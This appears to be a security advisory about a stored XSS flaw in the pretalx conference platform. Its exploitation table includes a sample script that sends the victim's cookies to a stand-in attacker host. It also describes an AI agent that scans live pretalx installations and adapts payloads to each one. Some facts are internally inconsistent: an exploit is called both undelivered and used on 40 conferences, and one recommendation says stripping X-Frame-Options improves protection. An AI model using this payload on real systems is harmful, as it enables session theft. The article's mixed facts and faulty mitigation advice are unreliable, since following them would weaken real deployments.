Stored XSS in pretalx puts conference CFP systems at risk

What happened

A security researcher discovered a stored cross‑site scripting (XSS) flaw in pretalx, the open‑source platform many conferences use to collect speaker proposals and manage schedules. The bug (CVE‑2026‑41241) lives in any field that is searchable – titles, speaker display names, usernames or email addresses. When a malicious string is saved, it is rendered as raw HTML whenever an organizer’s search query matches the record. The injected script runs in the organizer’s browser, reads the CSRF token, and can issue authenticated requests on the victim’s behalf.

Why it matters for conference organizers

The organizer interface holds sensitive data:

• Speaker identities, contact details, and unpublished abstracts
• Review comments and acceptance decisions
• Private messages between staff and speakers
• Links to sponsor portals and event‑wide resources If an attacker gains organizer‑level access, they can:

1. Read or alter submissions – change titles, swap abstracts, or delete proposals.
2. Impersonate staff – send phishing emails that appear to come from the conference.
3. Inject malicious links – embed payloads that affect attendees who click on schedule pages.
4. Harvest CSRF tokens – perform any action the organizer UI permits, including modifying the event schedule.

The real‑world impact was demonstrated when Meged used the flaw to auto‑apply to 40 conferences and received acceptance emails for each. No live exploit payload was delivered, but the proof‑of‑concept showed that a single XSS vector can guarantee a speaker slot across dozens of events that share the same pretalx codebase.

How the vulnerability works

Step	Action
1	Attacker submits a proposal with a malicious payload in a searchable field, e.g. <script>fetch('https://evil.example/?t='+document.cookie)</script>
2	The payload is stored in the database unchanged because pretalx does not sanitise searchable fields before persisting them
3	An organizer performs a search that matches the compromised record
4	The organizer’s browser renders the stored HTML, executing the script in the context of the pretalx admin UI
5	Script reads the CSRF token from the page and sends forged requests, or exfiltrates data to the attacker

Because the payload is triggered only when a search matches, the exploit can stay dormant for weeks, evading detection until an admin runs a specific query.

The role of AI‑assisted research

Meged’s team used an AI‑driven agent to scan the public internet for pretalx installations, fingerprint versions, and adapt the payload to each deployment’s quirks. The workflow involved:

• Crawling known conference domains for pretalx login pages
• Extracting version numbers from JavaScript assets
• Selecting the appropriate payload variant based on enabled features (e.g., rich‑text editors vs plain text)
• Running a non‑destructive validation on a local replica before any live interaction

The researchers stress that the core idea is simple enough for any competent web security analyst, but scaling the discovery to hundreds of instances required the automation.

Patch and mitigation steps

• Upgrade to pretalx 2026.1.0 or later, where the searchable fields are now HTML‑escaped before rendering.
• Apply CSP headers that block inline scripts (script-src 'self'), which would stop the injected payload even if it slips through.
• Enable strict Referrer‑Policy and SameSite=Lax cookies to limit CSRF token leakage.
• Audit any custom plugins or themes that may re‑introduce unsafe rendering paths.
• Monitor admin logs for unusual search queries that return large result sets, a potential indicator of exploitation attempts.

Recommendations for homelab builders and conference operators

Recommendation	Reason
Run pretalx behind a reverse‑proxy that strips X‑Frame‑Options and enforces CSP	Reduces impact of stored XSS across sub‑domains
Keep a separate admin network for organizer access	Limits lateral movement if a single instance is compromised
Regularly scan your own deployment with tools like OWASP ZAP or Nikto	Finds regressions before attackers do
Log every admin‑side search query and review spikes	Early detection of payload triggering

Outlook

The incident underscores a broader risk: a single open‑source platform powering dozens of high‑visibility events becomes a high‑value target. While pretalx has moved quickly to patch the flaw, organizers should treat any third‑party conference management system as a potential attack vector and apply defense‑in‑depth controls.

---

For more details on the advisory, see the official pretalx security notice and the CVE entry.